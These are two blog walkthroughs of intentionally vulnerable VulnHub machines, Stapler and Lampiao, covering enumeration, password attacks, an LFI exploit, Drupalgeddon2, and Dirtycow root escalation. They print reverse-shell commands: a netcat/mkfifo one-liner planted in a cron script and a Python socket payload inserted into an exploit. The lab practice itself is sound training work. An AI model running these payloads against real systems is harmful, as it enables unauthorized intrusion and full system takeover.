Vulnhub – Stapler


Machine: Stapler
Difficulty: Easy

Goal: Root Flag

As usual we start with a Nmap scan to detect open ports of the target system.

1. Results of Nmap scan

As figure 1 shows the system is offering multiple services which is why we enumerate each one in detail step by step.

Port 21 – FTP

2. Nmap service and version scan on port 21

When using Nmap to detect any service and version information (-sV) on port 21 we see that the target is using a vsftp-deamon on version 2.0.8 or newer. When using Searchsploit to look for any available exploits for vsftpd we find a backdoor exploit for version 2.3.4. When we use Metasploit to test the exploit we won’t get any valid response. Which is why we assume that the vsftpd version of the target is not vulnerable.

The next thing that we have to check when dealing with ftp enumeration is wether or not anonymous login is allowed. Figure 3 shows that we are able to access the ftp service as user anonymous while using a blank password. After the successful login we see that there is a file called note which we copy to our local machine.

3. Anonymous login on ftp

Inside the note file we find the following message:

“Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.”

Since we found two names inside the note we create a file to store all potential usernames. Besides the usernames john and elly we add harry because the name was mentioned inside the ftp banner.

Port 22 – SSH

4. Nmap service and version scan on port 22

The service and version information on port 22 shows that the target is using OpenSSH version 7.2p2. For this version it is possible to use a script for username enumeration. But for now we wont make use of that and instead we continue with enumerating the next port.

Port 53 – DNS

5. Nmap service and version scan on port 53

The service and version scan of Nmap on port 53 tells us that the target is using dnsmasq 2.75. We use that information to see if there are any known vulnerabilities for that service. And indeed there are multiple exploits to abuse dnsmasq below version 2.78. Unfortunately all exploits perform a denial of service attack and none can be used to gain a low privileged shell on the target system.

Port 80 – HTTP

6. Nmap service and version scan on port 80

As figure 6 shows Nmap recognizes the service on port 80 as PHP cli server version 5.5 or newer. We try to find any exploits for that service but without luck. When we try to browse the web server we are not able to find any valid sites as shown in figure 7. Even when we use Gobuster  to search for any valid directories on the web server we have no luck.

7. Using Firefox to access

Since we have a web service without any available exploits and no valid directories we are left with near to zero new information. Since desperate times call for desperate measures we use Nikto to scan the web server for any  vulnerabilities. As figure 8 shows Nikto finds two hidden directories .bashrc and .profile but after downloading and inspecting both files we see that they do not contain any useful information.

8. Nikto scan results for


Port 139 – NetBios

9. Nmap service and version scan on port 139

Once again we use Nmap with option -sV to gather service and version information but this time on port 139. When we search for any available exploits we have the problem that we do not know the exact version of the service. There are a lot of exploits available for Samba but  most of them are only working with a specific version of the service. Therefor we keep in mind that we could potentially find an exploit for Samba but for now we keep enumerating further.

When we list the available shares we find two new potential usernames kathy and fred and multiple shares as shown in figure 10.

10. List of SMB-Shares on stapler

While inspecting every share we find two interesting looking files inside the backup folder for Kathy. The first file is called vsftpd.conf and is the configuration file for the FTP service that we already enumerated. The second file is called wordpress-4.tar.gz. We copy both files to our local system and take a closer look at them. Inside the configuration file we wont find any useful information. After extracting the WordPress archive we try to find any credentials. Usually the password to connect to a WordPress-Database is stored inside the wp-config.php file. But as figure 11 shows that file is missing and instead we find a sample file.

11. Content of extracted WordPress directory

Inside the wp-config-sample.php file we find a dummy entry:

define(‘DB_PASSWORD’, ‘password_here’);

12. List of users extracted by Enum4linux

Unfortunately we still do not have gathered much useful information. But we might want to look out for any web services that are using WordPress.

After looking through all shares manually we use a tool called Enum4linux to gather some more information off NetBios. Figure 12 shows a list of usernames that the tool was able to enumerate. We take the new usernames and add them to the existing ones inside our username list.
Since we now have obtained a list of valid usernames we could verify the users with the user enumeration vulnerability that we have found earlier on the SSH service. Furthermore we could use a tool called Hydra to perform a dictionary attack against the SSH service while using the usernames which we already know of.

Port 666

13. Nmap service and version scan on port 666
14. Nmap script scan on port 666

As figure 13 shows Nmap is not able to recognize the service on port 666 even with option -sV being used. When we use Nmap again and add the -sC option to scan for any active scripts we see the following output as shown in figure 14. Inside the output we can see the string “message2.jpg” which could indicate a file stream of an image. To see if we are able to obtain the file we can use Netcat to connect to port 666 and redirect any transferred data into a file on our local system.
nc 666 > 666output
After saving the transferred data to our system we can use the command file to examine the filetype. The output states “666output: Zip archive data, at least v2.0 to extract“. After unzipping 666output we obtain a new file called “message2.jpg” which is displayed in figure 15.

15. Displayed message2.jpg

We use the tools Binwalk and Exiftool to analyze the message2.jpg file for any hidden data or stored information. The only thing that we can find is a hidden message inside the metadata as shown in figure 16. In the end it looks like port 666 gave us no new information at all.

16. Hidden message inside message2.jpg metadata


Port 3306 – MySQL

17. Nmap service and version scan on port 3306

The service and version scan of Nmap tells us that the target is offering a MySQL service on version 5.7.12. Since we already found a hint that we may face a WordPress web service we assume that this database could potentially be used to host such a service. When we do a quick search to look for any known vulnerabilities for MySQL version 5.7.X we won’t find anything useful. Since until now we have not found any credentials for a database user we continue with the enumeration on the next port.

Port 12380 – HTTP(S)

18. Nmap service and version scan on port 12380



When we used Nmap for our initial scan from figure 1, Nmap was not able to detect what service is listening on port 12380. When we rerun Nmap while using the option -sV it tells us that port 12380 is offering an Apache web server on version 2.4.18. When we browse the website, we see a placeholder website as shown in figure 19.

19. Placeholder page on all directories with statuscode 400.

Unfortunately every directory we try to access on the web server terminates with a statuscode 400 while displaying the placeholder page. We use Gobuster to search for any hidden directories on the web server. To do so we specify to ignore all responses with a statuscode of 400. To our surprise we are not able to find any new directories. Once again we use Nikto to scan the web server for any vulnerabilities. The Nikto scan results do contain two odd-looking entries. As figure 20 shows Nikto is convinced that there are two accessible directories on the website called /admin112233/ and /blogblog/.

20. Nikto scan results on

But when we try to browse these directories we only see the placeholder page from figure 20. To check whether the Nikto scan results might be false positives we take a closer look at the output from figure 20 and see another odd entry.

“+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.”

Since until now we just assumed that the web server only handles http requests we try to browse the website while using TLS. And suddenly when we access we wont see the placeholder page but instead get the following string “Internal Index Page!”. Furthermore we are able to browse the previously mentioned /admin112233/ and /blogblog/ directories as shown in figure 21.

21. /admin112233/ and /blogblog/ on

As the directory name “blogblog” might suggest we can confirm by looking at the following string at the bottom of the web page that we have found our missing WordPress service.
Proudly powered by WordPress

To gain information about usernames, vulnerable plugins and themes of a WordPress service we can use a tool called WPScan. By using the option “- – enumerate u” we get a list of ten usernames as shown in figure 22.

22. WPScan enumerated users


23. Live Dictionary attack with WPScan with WordPress usernames

The next thing that we can do with WPScan is a Dictionary-Password Attack with the previous enumerated usernames from figure 22 and a dictionary with potential passwords. As figure 23 shows we are able to get 5 valid username & password combinations with our attack. When we login with each user we see that the users Garry, Harry, Scott and Kathy are all low privileged users that are not allowed to do any changes on themes or plugins. But when we login with the user John we have access upload a new plugin to WordPress. We use this feature to upload a PHP reverse shell which will connect back to our local system on port 9001. Afterwards we setup a Netcat listener on Port 9001 and execute the PHP script by browsing the following page:

Once we access the website the PHP code gets executed by the target system and we get a low privileged shell back to our local system on port 9001  as shown in figure 24.

24. Reverse shell connection via PHP

With the low privileged shell on the box we could start to escalate our privileges and enumerate the services on the target system itself. But before we start doing that, for the sake of completeness, I want to show an alternative way of getting a low privileged shell on the target which is a bit trickier.
WPScan has an option to search for plugins with known vulnerabilities. But sometimes there are plugins with known vulnerabilities that WPScan does not know about. Because of this it is always a good idea to enumerate all plugins that are in place and search for known vulnerabilities manually. By doing so we see that WPScan detects a plugin to embed videos as shown in figure 25.

25. WordPress Plugin detected: Advanced Video Embed

When we use Searchsploit to do a quick lookup for any known exploits we get a hit on:
WordPress Plugin Advanced Video 1.0 – Local File Inclusion
We download a Python script to exploit the LFI-Vulnerability as well as the python modules request and urlopen. Inside the script we find two important variables to set the target and a local file to exfiltrate as shown in figure 26.

26. Set target and local file inside python script

When we run the exploit we see the content of the wp-config.php file on our terminal which contains the WordPress database name, user and password as shown in figure 27.

27. Extract of wp-config.php

With the password from figure 27 we are able to connect to the database on port 3306 as user root and dump all usernames and password hashes as shown in figure 28.

28. Usernames and digests from wp_users table

Now we can use Hashcat to perform a dictionary attack on the hashes. By using the rockyou.txt dictionary that comes with Kali Linux by default we are able to crack 12 out of 16 passwords as shown in figure 29.

29. Using Hashcat to perform a dictionary attack

The next step is to use the LFI exploit to dump the passwd file to get a list of all valid usernames of the system. We edit the file_path variable inside the python script, execute it and save the output to a file. Alternatively we could also have used the usernames that we previously obtained by using Enum4linux as already shown in figure 12.
Now that we have obtained a list of 12 WordPress passwords and a list of all valid usernames on the target system we are able to use Hydra to check if any user uses the same password for his or her SSH access as they do to authenticate to the WordPress service.

30. Hydra on SSH with passwd usernames and WordPress passwords

As figure 30 shows due to password reuse we are able to find three valid ssh logins.

Root #1:
Once we have access to the system via SSH or a PHP reverse shell we take a look at the different home directories of all users. One noticeable thing is that most home directories are empty. But when we take a look at the home directory for the user Peter we see a file called .sudo_as_admin_successful which indicates that the user Peter has privileges to execute commands by using sudo.

31. Content of .bash_history of user JKanode

Another odd-looking thing is that all .bash_history files inside the user home directories are empty except the one for a user called JKanode. When we take a look inside the .bash_history file we find a password for the user Peter as shown in figure 31. When we use the password we are able to login to the system via SSH as user Peter. Furthermore we can use the command “sudo -i” and after retyping the password for user Peter we have root privileges as shown in figure 32.

32. Root privileges and flag.txt by using sudo as user Peter

Root #2:
Another way to get root privileges on the box is by using a kernel exploit. To check the kernel information we can use the command “uname -a” which gives us the following output:

Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 athlon i686 GNU/Linux

Since the kernel was built in April 2016 it is pretty likely that it is vulnerable to the Dirtycow kernel exploit. To confirm our guess and check if there are any other kernel exploits that the system is potentially vulnerable for we can use a script called Linux-Exploit-Suggester. We download the script to our local machine and host it with a simple HTTP server. Afterwards we download it to the target machine by using Wget and run it. Figure 33 show the output of the script and confirms that the kernel might be vulnerable to the Dirtycow exploit.

33. Output of Linux Exploit Suggester

We download a dirtycow Proof-of-Concept code which we have already used on a previous Vulnhub machine and use a simple HTTP server to host all downloaded files. Afterwards we use Wget to transfer the dcow.cpp and the makefile to the target machine. Next we execute make on the target system to compile the exploit and run it afterwards. As figure 34 shows the exploit runs successfully and we obtain root privileges.

34. Root by using Dirtycow

Root #3:

A third way of getting root privileges is to abuse a badly configures cron job. Figure 35 shows that there is a cron job called lograte which executes every five minutes a script called which we have write access to.

35. Badly configured cron job

We use the write privileges on the file and add the following bash command which creates a reverse connection to our local system on port 9002.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 9002 >/tmp/f

Immediately after this we set up Netcat as a listener and wait for the cron job to execute the script. After some time we get a callback from the target machine which grants us a reverse shell with root privileges as shown in figure 36.

36. Getting root by abusing logrotate cronjob





VulnHub – Lampiao

Please note: This post was first released on October 09, 2018 on my old blog at:

Machine: Lampiao
Difficulty: Easy
Goal: Root Flag

The first step when attacking a new machine is to gather some initial information about the types of hosted services and their versions. This is why we usually start with a simple Nmap scan over the entire port range with the option “-p-“. After we have identified the ports which are being used by the system we use Nmap once more to scan in detail to fingerprint the services and their versions for every open port that we have discovered. To do so we use the options “-sV“, “-sC” and “-p X,Y,Z” where “X,Y,Z” is a list of every open port that we know of.

1. Results of (detailed) Nmap scan

The Nmap scan shows that there is an OpenSSH Service on port 22, some weird ASCII art at port 80 and an Apache web service on port 1898. Furthermore Nmap shows that the web service on port 1898 might use Drupal 7 and hosts a “robots.txt” file. Before we start investigating the website on port 1898 by browsing the site, we start some reconnaissance by using gobuster to search for some unusual or hidden directories that the web service is hosting. While that scan is running we take a closer look at the website itself by browsing the “/robots.txt” directory. Inside the robots.txt file are many entries for allowed and disallowed directories. By browsing the directories of multiple of these entries we can confirm the usage of Drupal 7 by reading the “Changelog.txt“. Furthermore we can identify the exact version of Drupal as shown in figure 2.

2. Changelog.txt on web service

Because we now have knowledge of the exact version of Drupal that us running on the host we can search for any existing exploits. To do so we can use the tool searchsploit to search for exploits inside a local copy of the exploit database by Offensive Security. Figure 3 shows that there are multiple exploits for Drupal 7. But since we need an exploit for version 7.54 and we do not have any way to obtain an authenticated session we can only use Drupalgeddon 2.

3. Searching for Drupal 7 exploit with searchsploit

We use the parameter “-m” with searchsploit to get a copy of Drupalgeddon 2 in our working directory and run the exploit which is a ruby script. Surprisingly it works without any modification and we get a shell as user www-data. As figure 4 shows, at this point we only have a sandboxed shell, which is why we need to import tty. But when using python to spawn a tty shell our reverse shell breaks. I am guessing this is due to a missing encoding or that the web shell is messing with the quotes and that they need to be escaped in some way.

4. Using Drupalgeddon 2

Since we want to get a real reverse shell we edit the Drupalgeddon 2 exploit script and replace the payload, which is a simple php reverse shell, with the following python code:

bashcmd = “python -c ‘import socket, subprocess, os; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((\”\”,1234)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); p =[\”/bin/sh\”,\”-i\”]);’ “

This python script will open up a simple reverse shell to our attacking machine on port 1234. It is important to notice that all double quotes, besides the ones that belong to the bashcmd call, need to be escaped by using a single backslash.

5. Editing Drupalgeddon 2 to spawn a python reverse shell on port 1234

As figure 5 shows, running the edited exploit opens up a session on port 1234 and allows us to spawn a fully interactive tty. The next step is to find a way to escalate our privileges and get root access on the system. While enumerating the system we use the command “uname -a” to get more information about the systems kernel. Figure 6 shows, that the kernel version is 14.04.1 which dates back to the year 2016.

6. Getting kernel information

With a kernel that is at least two years old it is always a good idea to see if there are any valid kernel exploits that can be used to escalate privileges. To do so we use a shell script called linux-exploit-suggester which we can find by searching for “linux kernel exploit check” on Google. We download the bash script to our local attacking machine and use a simple http server to host the file. Afterwards we use wget from the target machine to download the file and execute it.

7. Extract of results for linux exploit suggester

As shown in figure 7, the script shows that since the machine is using Ubuntu version 14.04.1 the kernel should be vulnerable to the famous dirtycow exploit. We will use the following dirtycow Proof-of-Concept code since it is well documented and it has worked for me on previous machines. Furthermore it requires the tool make to compile the code, which is already installed and ready to use  on the victim machine.

We use git to clone the dirtycow repository to our local attacking machine and use a simple http server to host all downloaded files. Afterwards we use wget to transfer the “dcow.cpp” and the “makefile” to the target machine (lampiao). Then we use make to compile the exploit code and execute it.

8. Compiling and executing dirtycow & getting root flag

As figure 8 shows the exploit worked like a charm and grants us root privileges by editing the passwd file. With the root privileges we are able to obtain our goal – accessing the root flag.